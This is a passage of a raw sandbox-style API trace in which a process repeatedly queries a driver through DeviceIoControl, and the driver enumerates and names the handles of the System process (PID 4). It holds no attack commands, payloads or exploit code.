ApcState=0xfffff880055905d0) [0110.639] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0110.639] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.639] PsReleaseProcessExitSynchronization () returned 0x2 [0110.639] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.639] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.639] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0110.639] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.639] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.639] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.639] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0110.640] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.640] PsAcquireProcessExitSynchronization () returned 0x0 [0110.640] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.640] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0110.640] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.640] PsReleaseProcessExitSynchronization () returned 0x2 [0110.640] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.640] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.640] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0110.640] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.640] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.640] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0110.640] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.640] PsAcquireProcessExitSynchronization () returned 0x0 [0110.640] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.640] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0110.640] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.640] PsReleaseProcessExitSynchronization () returned 0x2 [0110.640] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.640] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.640] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0110.640] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.640] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.640] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0110.640] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.640] PsAcquireProcessExitSynchronization () returned 0x0 [0110.640] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.640] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0110.640] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.640] PsReleaseProcessExitSynchronization () returned 0x2 [0110.640] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.640] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.641] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0110.641] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.641] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.641] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.641] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.641] PsAcquireProcessExitSynchronization () returned 0x0 [0110.641] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.641] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021877b0, HandleInformation=0x0) returned 0x0 [0110.641] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.641] PsReleaseProcessExitSynchronization () returned 0x2 [0110.641] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.641] ObQueryNameString (in: Object=0xfffffa80021877b0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.641] ObfDereferenceObject (Object=0xfffffa80021877b0) returned 0x2 [0110.641] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.641] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.641] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0110.641] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.641] PsAcquireProcessExitSynchronization () returned 0x0 [0110.641] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.641] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0110.641] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.641] PsReleaseProcessExitSynchronization () returned 0x2 [0110.641] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.641] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.641] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0110.641] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.641] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.641] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0110.641] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.641] PsAcquireProcessExitSynchronization () returned 0x0 [0110.641] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.641] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0110.642] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.642] PsReleaseProcessExitSynchronization () returned 0x2 [0110.642] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.642] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.642] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0110.642] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.642] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.642] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0110.642] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.642] PsAcquireProcessExitSynchronization () returned 0x0 [0110.642] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.642] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0110.642] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.642] PsReleaseProcessExitSynchronization () returned 0x2 [0110.642] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.642] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.642] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0110.642] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.642] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.642] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0110.642] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.642] PsAcquireProcessExitSynchronization () returned 0x0 [0110.642] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.642] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0110.642] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.642] PsReleaseProcessExitSynchronization () returned 0x2 [0110.642] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.642] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.642] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0110.642] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.642] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.643] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0110.643] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.643] PsAcquireProcessExitSynchronization () returned 0x0 [0110.643] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.643] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0110.643] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.643] PsReleaseProcessExitSynchronization () returned 0x2 [0110.643] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.643] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.643] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0110.643] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.643] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.643] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0110.643] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.643] PsAcquireProcessExitSynchronization () returned 0x0 [0110.643] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.643] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0110.643] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.643] PsReleaseProcessExitSynchronization () returned 0x2 [0110.643] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.643] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.643] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0110.643] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.643] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.643] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.643] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.643] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.643] PsAcquireProcessExitSynchronization () returned 0x0 [0110.643] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.643] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0110.643] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.643] PsReleaseProcessExitSynchronization () returned 0x2 [0110.643] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.644] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.644] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0110.644] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.644] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.644] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.644] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.644] PsAcquireProcessExitSynchronization () returned 0x0 [0110.644] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.644] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0110.644] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.644] PsReleaseProcessExitSynchronization () returned 0x2 [0110.644] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.644] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.644] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0110.644] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.644] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.644] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.644] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0110.644] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.644] PsAcquireProcessExitSynchronization () returned 0x0 [0110.644] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.644] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0110.644] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.644] PsReleaseProcessExitSynchronization () returned 0x2 [0110.644] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.644] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.644] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0110.644] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.645] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.645] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0110.645] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.645] PsAcquireProcessExitSynchronization () returned 0x0 [0110.645] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.645] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0110.645] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.645] PsReleaseProcessExitSynchronization () returned 0x2 [0110.645] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.645] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.645] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0110.645] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.645] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.645] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.645] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0110.645] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.645] PsAcquireProcessExitSynchronization () returned 0x0 [0110.645] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.645] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0110.645] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.645] PsReleaseProcessExitSynchronization () returned 0x2 [0110.645] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.645] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.645] ObfDereferenceObject 